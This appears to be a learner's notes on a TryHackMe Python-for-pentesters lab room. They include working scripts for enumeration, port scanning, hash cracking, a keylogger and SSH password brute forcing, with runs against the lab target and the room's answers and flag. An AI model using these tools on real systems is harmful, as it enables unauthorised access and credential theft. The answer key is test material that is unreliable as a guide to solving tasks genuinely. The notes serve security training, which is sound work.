
Introduction
Python can be the most powerful tool in your arsenal as it can be used to build almost any of the other penetration testing tools. The scope of this module does not allow us to go into too many details on Python. Still, we will cover several key areas that will be useful during engagements and help you better understand Python.
Please complete the “Python Basics” room before proceeding, as this room will not go over the basic usage and programming features of the Python language.
We are not learning to become a developer; our objective is to become a penetration tester. This room will give you pointers on which you can build and improve. Examples are given on a "one of each" basis, and no code should be considered as "the only and correct way" to reach a solution. Our goal is then to build quick and effective tools that will help us in our daily tasks.
Throughout this room, you will see how to:
Use Python to enumerate the target's subdomain
Build a simple keylogger
Scan the network to find target systems
Scan any target to find the open ports
Download files from the internet
Crack hashes
Any code you will find in this section can be compiled using simple tools such as PyInstaller and sent to the target system.
Notice: A wordlist that will be useful to complete tasks related to the target system associated with this room can be found attached to the next task. The wordlist was also added to the AttackBox and is located in the following path /usr/share/wordlists/PythonForPentesters/wordlist2.txt
To access the machine you start on this task, you need to either:
Use OpenVPN - Go to the access page and connect to our network via OpenVPN. This is important to do before you can access the machine.
Use AttackBox - (Recommended) Start the AttackBox (blue button at the top of the page) and write your Python scripts through the browser.
What other tool can be used to convert Python scripts to Windows executables? External research may be required (Google, Bing, etc.) py2exe https://stackabuse.com/creating-executable-files-from-python-scripts-with-py2exe https://pypi.org/project/py2exe/
Subdomain Enumeration
Python gives us an easy way to automate tasks during a penetration test. Any tasks that you have to perform regularly are worth automating. While the automation process comes with a learning curve, the mid and long-term gains are worth it.
Finding subdomains used by the target organization is an effective way to increase the attack surface and discover more vulnerabilities.
The script will use a list of potential subdomains and prepends them to the domain name provided via a command-line argument.
The script then tries to connect to the subdomains and assumes the ones that accept the connection exist.
import requests
import sys
sub_list = open("wordlist2.txt").read()
subdoms = sub_list.splitlines()
for sub in subdoms:
sub_domains = f"http://{sub}.{sys.argv[1]}"
try:
requests.get(sub_domains)
except requests.ConnectionError:
pass
else:
print("Valid domain: ",sub_domains)
As you can see, the script will search for a file named "subdomains.txt". The simplest way is to use a wordlist located in the same directory as the Python script, but any wordlist can be used. The wordlist should have possible subdomains listed one per line as shown below:

You don't need to download the wordlist attached to this task if you're using the AttackBox as it can be found under: /usr/share/wordlists/PythonForPentesters/wordlist2.txt
┌──(kali㉿kali)-[~/Downloads/pentest_python]
└─$ python3 subdomain_enum.py google.com
Valid domain: http://video.google.com
Valid domain: http://movie.google.com
Valid domain: http://time.google.com
Valid domain: http://music.google.com
What other protocol could be used for subdomain enumeration? How does the browser find the IP address of any domain/subdomain? DNS
What function does Python use to get the input from the command line? Never get into an argument with the system unless it's this one
sys.argv https://www.geeksforgeeks.org/how-to-use-sys-argv-in-python/
Directory Enumeration
As it is often pointed out, reconnaissance is one of the most critical steps to the success of a penetration testing engagement. Once subdomains have been discovered, the next step would be to find directories.
The following code will build a simple directory enumeration tool.
import requests
import sys
sub_list = open("wordlist2.txt").read()
directories = sub_list.splitlines()
for dir in directories:
dir_enum = f"http://{sys.argv[1]}/{dir}.html"
r = requests.get(dir_enum)
if r.status_code==404:
pass
else:
print("Valid directory:" ,dir_enum)
At first glance, you will certainly notice the similarities with the subdomain enumeration script. This script takes an approach based on a for loop and passes all "404" responses.

Make sure you have downloaded the wordlist file from Task 2 before proceeding with the following questions. The wordlist was also added to the AttackBox and is located in the following path /usr/share/wordlists/PythonForPentesters/wordlist2.txt
┌──(kali㉿kali)-[~/Downloads/pentest_python]
└─$ python3 direnum.py 10.10.172.250
Valid directory: http://10.10.172.250/surfer.html
Valid directory: http://10.10.172.250/private.html
Valid directory: http://10.10.172.250/apollo.html
Valid directory: http://10.10.172.250/index.html
index.html -> “Attack is the secret of defense; defense is the planning of an attack.” ― Sun Tzu, The Art of War
apollo.html -> cd13b6a6af66fb774faa589a9d18f906
private.html -> login page then found script
view-source:http://10.10.172.250/function.js
function validateForm() {
var username=document.forms["loginEmail"]["username"].value;
var password=document.forms["loginEmail"]["password"].value;
if ((username == "brian") && (password == "8675309")) {
alert ("Login successful.");
return true;
}
else {
alert ("Login unsuccessful.");
}
}
surfer.html -> Passwords set are:
Password for Madhatter set to MyCupOfTea
Password for Rabbit set to LOUSYRABBO
Password for Alice set to OnWithTheirHeads
Users created are:
tiffany
daniel
jim
mike
How many directories can your script identify on the target system? (extensions are .html) 4
What is the location of the login page? private.html
Where did you find a cryptic hash? apollo.html
Where are the usernames located? surfer.html
What is the password assigned to Rabbit? LOUSYRABBO
![[Pasted image 20221004111100.png]]
Network Scanner
Python can be used to build a simple ICMP (Internet Control Message Protocol) scanner to identify potential targets on the network. However, ICMP packets can be monitored or blocked as the target organization would not expect a regular user to “ping a server”. On the other hand, systems can be configured to not respond to ICMP requests. These are the main reasons why using the ARP (Address Resolution Protocol) to identify targets on the local network is more effective.
The code:
from scapy.all import *
interface = "eth0"
ip_range = "10.10.X.X/24"
broadcastMac = "ff:ff:ff:ff:ff:ff"
packet = Ether(dst=broadcastMac)/ARP(pdst = ip_range)
ans, unans = srp(packet, timeout =2, iface=interface, inter=0.1)
for send,receive in ans:
print (receive.sprintf(r"%Ether.src% - %ARP.psrc%"))

If you are using the AttackBox, you will need to install Scapy first. This can easily be done using the "apt install python3-scapy" command.

┌──(root㉿kali)-[/home/kali/Downloads/pentest_python]
└─# apt-get update && apt-get full-upgrade
cannot because eth0 is not present
need wifi pineaple or other like this
┌──(root㉿kali)-[/home/kali/Downloads/pentest_python]
└─# cat arp_scan.py
from scapy.all import *
interface = f"{sys.argv[1]}"
ip_range = f"{sys.argv[2]}"
broadcastMac = "ff:ff:ff:ff:ff:ff"
packet = Ether(dst=broadcastMac)/ARP(pdst = ip_range)
ans, unans = srp(packet, timeout =2, iface=interface, inter=0.1)
for send,receive in ans:
print (receive.sprintf(r"%Ether.src% - %ARP.psrc%"))
┌──(root㉿kali)-[/home/kali/Downloads/pentest_python]
└─# python3 arp_scan.py eth0 10.11.81.0/24
Begin emission:
WARNING: Could not get the source MAC: Unsupported address family (-2) for interface [tun0]
WARNING: Could not get the source MAC: Unsupported address family (-2) for interface [tun0]
WARNING: more Could not get the source MAC: Unsupported address family (-2) for interface [tun0]
WARNING: Could not get the source MAC: Unsupported address family (-2) for interface [tun0]
WARNING: Could not get the source MAC: Unsupported address family (-2) for interface [tun0]
WARNING: more Could not get the source MAC: Unsupported address family (-2) for interface [tun0]
here works but maybe not found
root@ip-10-10-115-151:~# python3 scan.py eth0 10.10.10.0/24
Begin emission:
Finished sending 256 packets.
.......................................................................................................................................................
Received 151 packets, got 0 answers, remaining 256 packets
What module was used to create the ARP request packets? Your best bet for packet generation and manipulation in Python scapy
Which variable would you need to change according to your local IP block? Home on the range? ip_range
What variable would you change to run this code on a system with the network interface named ens33? interface
Port Scanner
In this task, we will be looking at a script to build a simple port scanner.
The code:
import sys
import socket
import pyfiglet
ascii_banner = pyfiglet.figlet_format("TryHackMe \n Python 4 Pentesters \nPort Scanner")
print(ascii_banner)
ip = '192.168.1.6'
open_ports =[]
ports = range(1, 65535)
def probe_port(ip, port, result = 1):
try:
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.settimeout(0.5)
r = sock.connect_ex((ip, port))
if r == 0:
result = r
sock.close()
except Exception as e:
pass
return result
for port in ports:
sys.stdout.flush()
response = probe_port(ip, port)
if response == 0:
open_ports.append(port)
if open_ports:
print ("Open Ports are: ")
print (sorted(open_ports))
else:
print ("Looks like no ports are open :(")
To better understand the port scanning process, we can break down the code into several sections:
Importing modules that will help the code run: import sys
import socket
Modules could also be imported with a single line using
import socket,sys
Specifying the target:
ip = '192.168.1.6'
An empty “open_ports” array that will be populated later with the detected open ports:
open_ports =[]
Ports that will be probed:
ports = range(1, 65535)
For this example, we have chosen to scan all TCP ports using the range() function. However, if you are looking for a specific service or want to save time by scanning a few common ports, the code could be changed as follows;
ports = { 21, 22, 23, 53, 80, 135, 443, 445}
The list above is relatively small. As we are trying to keep a rather low profile, we have limited the list to ports that will likely be used by systems connected to a corporate network.
Getting the IP address of the domain name given as target. The code also works if the user directly provides the IP address.
ip = socket.gethostbyname(host)
Tries to connect to the port:

This code is followed by a for loop that iterates through the specified port list:

Below are the results of the port scanning script run against a random target.

Of course, I will be the first one to admit the ASCII art banner was a bit much. The banner will require Pyfiglet to be imported. If you are using the AttackBox, you can easily install pyfiglet using the "apt install python3-pyfiglet" command.

If you wish to remove the banner you can simply delete the following lines:
ascii_banner = pyfiglet.figlet_format("TryHackMe \n Python 4 Pentesters \nPort Scanner")
print(ascii_banner)
┌──(kali㉿kali)-[~/Downloads/pentest_python]
└─$ cat portscan.py
import sys
import socket
import pyfiglet
ascii_banner = pyfiglet.figlet_format("TryHackMe \n Python 4 Pentesters \nPort Scanner")
print(ascii_banner)
ip = '10.10.172.250'
open_ports =[]
ports = range(1, 65535)
def probe_port(ip, port, result = 1):
try:
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.settimeout(0.5)
r = sock.connect_ex((ip, port))
if r == 0:
result = r
sock.close()
except Exception as e:
pass
return result
for port in ports:
sys.stdout.flush()
response = probe_port(ip, port)
if response == 0:
open_ports.append(port)
if open_ports:
print ("Open Ports are: ")
print (sorted(open_ports))
else:
print ("Looks like no ports are open :(")
in attackbox is quickly but in my machine a long long time ...
root@ip-10-10-138-192:~# python3 port.py
Open Ports are:
[22, 80, 2100]
What protocol will most likely be using TCP port 22?5 ssh
What module did we import to be able to use sockets? socket
What function is likely to fail if we didn't import sys? sys.stdout.flush
How many ports are open on the target machine? 3
What is the highest port number open on the target system? 2100
File Downloader
Wget on Linux systems or Certutil on Windows are useful tools to download files.
Python can also be used for the same purpose.
The code:
import requests
url = 'https://assets.tryhackme.com/img/THMlogo.png'
r = requests.get(url, allow_redirects=True)
open('THMlogo.png', 'wb').write(r.content)
This short piece of code can easily be adapted to retrieve any other type of file, as seen below:
import requests
url = 'https://download.sysinternals.com/files/PSTools.zip'
r = requests.get(url, allow_redirects=True)
open('PSTools.zip', 'wb').write(r.content)
PSexec allow system administrators to run commands on remote Windows systems. We see that PSexec is also used in cyber attacks as it is usually not detected by antivirus software. You can learn more about PSexec here and read this blogpost about its use by attackers.
┌──(kali㉿kali)-[~/Downloads/pentest_python]
└─$ cat file_downloader.py
import requests
url = 'https://assets.tryhackme.com/img/THMlogo.png'
r = requests.get(url, allow_redirects=True)
open('THMlogo.png', 'wb').write(r.content)
![[Pasted image 20221004124618.png]]
What is the function used to connect to the target website? requests.get()
What step of the Unified Cyber Kill Chain can PSexec be used in? Lateral Movement
Hash Cracker
A Hash is often used to safeguard passwords and other important data. As a penetration tester, you may need to find the cleartext value for several different hashes. The Hash library in Python allows you to build hash crackers according to your requirements quickly.
Hashlib is a powerful module that supports a wide range of algorithms.

┌──(kali㉿kali)-[~/Downloads/pentest_python]
└─$ python3
Python 3.10.7 (main, Sep 8 2022, 14:34:29) [GCC 12.2.0] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> import hashlib
>>> hashlib.algorithms_available
{'sha512_256', 'sm3', 'sha3_224', 'sha1', 'sha512_224', 'md5-sha1', 'shake_256', 'sha3_256', 'whirlpool', 'sha224', 'sha3_384', 'blake2s', 'sha384', 'md5', 'md4', 'sha512', 'sha256', 'ripemd160', 'blake2b', 'shake_128', 'sha3_512'}
>>> exit()
Leaving aside some of the more exotic ones you will see in the list above, hashlib will support most of the commonly used hashing algorithms.
Hash Cracker
import hashlib
import pyfiglet
ascii_banner = pyfiglet.figlet_format("TryHackMe \n Python 4 Pentesters \n HASH CRACKER for MD 5")
print(ascii_banner)
wordlist_location = str(input('Enter wordlist file location: '))
hash_input = str(input('Enter hash to be cracked: '))
with open(wordlist_location, 'r') as file:
for line in file.readlines():
hash_ob = hashlib.md5(line.strip().encode())
hashed_pass = hash_ob.hexdigest()
if hashed_pass == hash_input:
print('Found cleartext password! ' + line.strip())
exit(0)
This script will require two inputs: the location of the wordlist and the hash value.
As you probably know, hash values can not be cracked as they do not contain the cleartext value. Unlike encrypted values that can be "reversed" (e.g. decrypted), cleartext values for hashes can only be found starting with a list of potential cleartext values. A simplified process can be seen below;
You retrieve the hash value "eccbc87e4b5ce2fe28308fd9f2a7baf3" from a database, which you suspect is the hash for a number between 1 and 5.
You create a file with possible cleartext values (numbers from 1 to 5)
You generate a list of hashes for values in the cleartext list (Hash values for numbers between 1 and 5)
You compare the generated hash with the hash value at hand (Matches hash value of the number 3)
Obviously, a more effective process can be designed, but the main principle will remain identical.
The script below follows an approach close to the one described above;
Asks for the location of a wordlist
Asks for the hash to be cracked
Reads values from the wordlist (one per line)
Converts cleartext values to MD5 hash values
Compares the generated MD5 hash value with the value entered by the user
Below: The MD5 cracking script, including the absolutely optional and tacky ASCII art banner.

generating a md5 for hola
4d186321c1a7f0f354b297e8914ab240
yep it fails because enter a path like /usr/share/wordlists/rockyou.txt but in the same path pentes_python works
to test
┌──(kali㉿kali)-[~/Downloads/pentest_python]
└─$ python3 hashcracker_md5.py
_____ _ _ _ __ __
|_ _| __ _ _| | | | __ _ ___| | _| \/ | ___
| || '__| | | | |_| |/ _` |/ __| |/ / |\/| |/ _ \
| || | | |_| | _ | (_| | (__| <| | | | __/
|_||_| \__, |_| |_|\__,_|\___|_|\_\_| |_|\___|
|___/
____ _ _ _ _
| _ \ _ _| |_| |__ ___ _ __ | || |
| |_) | | | | __| '_ \ / _ \| '_ \ | || |_
| __/| |_| | |_| | | | (_) | | | | |__ _|
|_| \__, |\__|_| |_|\___/|_| |_| |_|
|___/
____ _ _
| _ \ ___ _ __ | |_ ___ ___| |_ ___ _ __ ___
| |_) / _ \ '_ \| __/ _ \/ __| __/ _ \ '__/ __|
| __/ __/ | | | || __/\__ \ || __/ | \__ \
|_| \___|_| |_|\__\___||___/\__\___|_| |___/
_ _ _ ____ _ _ ____ ____ _ ____ _ _______ ____
| | | | / \ / ___|| | | | / ___| _ \ / \ / ___| |/ / ____| _ \
| |_| | / _ \ \___ \| |_| | | | | |_) | / _ \| | | ' /| _| | |_) |
| _ |/ ___ \ ___) | _ | | |___| _ < / ___ \ |___| . \| |___| _ <
|_| |_/_/ \_\____/|_| |_| \____|_| \_\/_/ \_\____|_|\_\_____|_| \_\
__ __ __ ____ ____
/ _| ___ _ __ | \/ | _ \ | ___|
| |_ / _ \| '__| | |\/| | | | | |___ \
| _| (_) | | | | | | |_| | ___) |
|_| \___/|_| |_| |_|____/ |____/
Enter wordlist file location: wordlist2.txt
Enter hash to be cracked: 4d186321c1a7f0f354b297e8914ab240
Found cleartext password! hola
in apollo.html found cd13b6a6af66fb774faa589a9d18f906
┌──(kali㉿kali)-[~/Downloads/pentest_python]
└─$ python3 hashcracker_md5.py
_____ _ _ _ __ __
|_ _| __ _ _| | | | __ _ ___| | _| \/ | ___
| || '__| | | | |_| |/ _` |/ __| |/ / |\/| |/ _ \
| || | | |_| | _ | (_| | (__| <| | | | __/
|_||_| \__, |_| |_|\__,_|\___|_|\_\_| |_|\___|
|___/
____ _ _ _ _
| _ \ _ _| |_| |__ ___ _ __ | || |
| |_) | | | | __| '_ \ / _ \| '_ \ | || |_
| __/| |_| | |_| | | | (_) | | | | |__ _|
|_| \__, |\__|_| |_|\___/|_| |_| |_|
|___/
____ _ _
| _ \ ___ _ __ | |_ ___ ___| |_ ___ _ __ ___
| |_) / _ \ '_ \| __/ _ \/ __| __/ _ \ '__/ __|
| __/ __/ | | | || __/\__ \ || __/ | \__ \
|_| \___|_| |_|\__\___||___/\__\___|_| |___/
_ _ _ ____ _ _ ____ ____ _ ____ _ _______ ____
| | | | / \ / ___|| | | | / ___| _ \ / \ / ___| |/ / ____| _ \
| |_| | / _ \ \___ \| |_| | | | | |_) | / _ \| | | ' /| _| | |_) |
| _ |/ ___ \ ___) | _ | | |___| _ < / ___ \ |___| . \| |___| _ <
|_| |_/_/ \_\____/|_| |_| \____|_| \_\/_/ \_\____|_|\_\_____|_| \_\
__ __ __ ____ ____
/ _| ___ _ __ | \/ | _ \ | ___|
| |_ / _ \| '__| | |\/| | | | | |___ \
| _| (_) | | | | | | |_| | ___) |
|_| \___/|_| |_| |_|____/ |____/
Enter wordlist file location: wordlist2.txt
Enter hash to be cracked: cd13b6a6af66fb774faa589a9d18f906
Found cleartext password! rainbow
sha256
┌──(kali㉿kali)-[~/Downloads/pentest_python]
└─$ python3 hashcracker_sha256.py
Enter wordlist file location: wordlist2.txt
Enter hash to be cracked: 5030c5bd002de8713fef5daebd597620f5e8bcea31c603dccdfcdf502a57cc60
Found cleartext password! redwings
┌──(kali㉿kali)-[~/Downloads/pentest_python]
└─$ cat hashcracker_sha256.py
import hashlib
wordlist_location = str(input('Enter wordlist file location: '))
hash_input = str(input('Enter hash to be cracked: '))
with open(wordlist_location, 'r') as file:
for line in file.readlines():
hash_ob = hashlib.sha256(line.strip().encode())
hashed_pass = hash_ob.hexdigest()
if hashed_pass == hash_input:
print('Found cleartext password! ' + line.strip())
exit(0)
┌──(kali㉿kali)-[~/Downloads/pentest_python]
└─$ cat hashcracker_md5.py
import hashlib
import pyfiglet
ascii_banner = pyfiglet.figlet_format("TryHackMe \n Python 4 Pentesters \n HASH CRACKER for MD 5")
print(ascii_banner)
wordlist_location = str(input('Enter wordlist file location: '))
hash_input = str(input('Enter hash to be cracked: '))
with open(wordlist_location, 'r') as file:
for line in file.readlines():
hash_ob = hashlib.md5(line.strip().encode())
hashed_pass = hash_ob.hexdigest()
if hashed_pass == hash_input:
print('Found cleartext password! ' + line.strip())
exit(0)
just change hashlib.md5 to sha256 so can be sha512 and more
What is the hash you found during directory enumeration? cd13b6a6af66fb774faa589a9d18f906
What is the cleartext value of this hash? rainbow
Modify the script to work with SHA256 hashes.
Using the modified script find the cleartext value for 5030c5bd002de8713fef5daebd597620f5e8bcea31c603dccdfcdf502a57cc60 redwings
Keyloggers
Modules allow us to solve relatively difficult problems in a simple way.
A good example is the “keyboard” module, which allows us to interact with the keyboard.
If the “keyboard” module is not available on your system, we can use pip3 to install it. pip3 install keyboard
Using the keyboard module, the following three lines of code would be enough to record and replay keys pressed:
import keyboard keys = keyboard.record(until ='ENTER') keyboard.play(keys)
“keyboard.record” will record the keys until ENTER is pressed, and “keyboard.play” will replay them. As this script is logging keystrokes, any edit using backspace will also be seen.
┌──(root㉿kali)-[/home/kali/Downloads/pentest_python]
└─# pip3 install keyboard
Collecting keyboard
Downloading keyboard-0.13.5-py3-none-any.whl (58 kB)
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ 58.1/58.1 kB 1.5 MB/s eta 0:00:00
Installing collected packages: keyboard
Successfully installed keyboard-0.13.5
┌──(root㉿kali)-[/home/kali/Downloads/pentest_python]
└─# cat keylogger.py
import keyboard
keys = keyboard.record(until ='ENTER')
keyboard.play(keys)
┌──(root㉿kali)-[/home/kali/Downloads/pentest_python]
└─# python3 keylogger.py
hi im learning !!
hi im learning !!
yep repeat it(capture keystrokes) until press ENTER
What package installer was used? ... is to Python3 what pip is to Python pip3
What line in this code would you change to stop the result from being printed on the screen? Is this a game you "play" ? keyboard.play(keys)
SSH Brute Forcing
The powerful Python language is supported by a number of modules that easily extend its capabilities. Paramiko is an SSHv2 implementation that will be useful in building SSH clients and servers.
The example below shows one way to build an SSH password brute force attack script. As is often the case in programming, there rarely is a single correct answer for these kinds of applications. As a penetration tester, your usage of programming languages will be different for developers. While they may care about best practices and code hygiene, your goal will more often be to end with a code that works as you want it to.
By now, you should be familiar with the "try" and "except" syntax. This script has one new feature, "def". "Def" allows us to create custom functions, as seen below. The "ssh_connect" function is not native to Python but built using Paramiko and the "paramiko.SSHClient()" function.
import paramiko
import sys
import os
target = str(input('Please enter target IP address: '))
username = str(input('Please enter username to bruteforce: '))
password_file = str(input('Please enter location of the password file: '))
def ssh_connect(password, code=0):
ssh = paramiko.SSHClient()
ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
try:
ssh.connect(target, port=22, username=username, password=password)
except paramiko.AuthenticationException:
code = 1
ssh.close()
return code
with open(password_file, 'r') as file:
for line in file.readlines():
password = line.strip()
try:
response = ssh_connect(password)
if response == 0:
print('password found: '+ password)
exit(0)
elif response == 1:
print('no luck')
except Exception as e:
print(e)
pass
input_file.close()
Reading the code, you will notice several distinct components.
Imports: We import modules we will use inside the script. As discussed earlier, we will need Paramiko to interact with the SSH server on the target system. "Sys" and "os" will provide us with the basic functionalities needed to read a file from the operating system (our password list in this case). As we are using Paramiko to communicate with the SSH server, we do not need to import "socket".

Inputs: This block will request input from the user. An alternative way to do this would be to accept the user input directly from the command line as an argument using "sys.argv[]".

SSH Connection: This section will create the "ssh_connect" function. Successful authentication will return a code 0, a failed authentication will return a code 1.

Password list: We then open the password file supplied earlier by the user and take each line as a password to be tried.

Responses: The script tries to connect to the SSH server and decides on an output based on the response code. Please note the response code here is the one generated by Paramiko and not an HTTP response code. The script exits once it has found a valid password.

As you will see, the scripts run slower than we would expect. To improve speed, you may want to look into threading this process.
Make sure you have downloaded the wordlist file from Task 2 before proceeding with the following questions. The wordlist was also added to the AttackBox and is located in the following path /usr/share/wordlists/PythonForPentesters/wordlist2.txt
found it!
┌──(kali㉿kali)-[~/Downloads/pentest_python]
└─$ python3 ssh_bruteforce.py
Please enter target IP address: 10.10.172.250
Please enter username to bruteforce: tiffany
Please enter location of the password file: wordlist2.txt
no luck
no luck
no luck
no luck
no luck
no luck
no luck
no luck
no luck
no luck
no luck
no luck
no luck
no luck
no luck
no luck
no luck
no luck
no luck
no luck
no luck
no luck
no luck
no luck
no luck
no luck
no luck
no luck
no luck
password found: trustno1
┌──(kali㉿kali)-[~/Downloads/pentest_python]
└─$ cat ssh_bruteforce.py
import paramiko
import sys
import os
target = str(input('Please enter target IP address: '))
username = str(input('Please enter username to bruteforce: '))
password_file = str(input('Please enter location of the password file: '))
def ssh_connect(password, code=0):
ssh = paramiko.SSHClient()
ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
try:
ssh.connect(target, port=22, username=username, password=password)
except paramiko.AuthenticationException:
code = 1
ssh.close()
return code
with open(password_file, 'r') as file:
for line in file.readlines():
password = line.strip()
try:
response = ssh_connect(password)
if response == 0:
print('password found: '+ password)
exit(0)
elif response == 1:
print('no luck')
except Exception as e:
print(e)
pass
input_file.close()
┌──(kali㉿kali)-[~/Downloads/pentest_python]
└─$ ssh tiffany@10.10.172.250
The authenticity of host '10.10.172.250 (10.10.172.250)' can't be established.
ED25519 key fingerprint is SHA256:MgoZDcf1hgA5p0IOYxSn3wi6lE5IKxCCbXLv6fcjTC0.
This key is not known by any other names
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.10.172.250' (ED25519) to the list of known hosts.
tiffany@10.10.172.250's password: trustno1
Welcome to Ubuntu 18.04.5 LTS (GNU/Linux 5.4.0-1029-aws x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage
System information as of Tue Oct 4 18:54:41 UTC 2022
System load: 0.0 Processes: 94
Usage of /: 4.8% of 29.02GB Users logged in: 0
Memory usage: 18% IP address for eth0: 10.10.172.250
Swap usage: 0%
129 packages can be updated.
78 updates are security updates.
Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings
Last login: Mon Jun 28 13:00:46 2021 from 10.9.2.216
$ pwd
/home/tiffany
$ ls
flag.txt
$ cat flag.txt
THM-737390028
What username starting with the letter "t" did you find earlier? You should have found the answer during the directory enumeration task. tiffany
What is the SSH password of this user?* trustno1
What is the content of the flag.txt file? THM-737390028
Extra challenges
Based on what we have covered in this room, here are a few suggestions about how you could expand these tools or start building your own using Python:
Use DNS requests to enumerate potential subdomains
Build the keylogger to send the capture keystrokes to a server you built using Python
Grab the banner of services running on open ports
Crawl the target website to download .js library files included
Try to build a Windows executable for each and see if they work as stand-alone applications on a Windows target
Implement threading in enumeration and brute-forcing scripts to make them run faster
[[Cross-site Scripting-1]]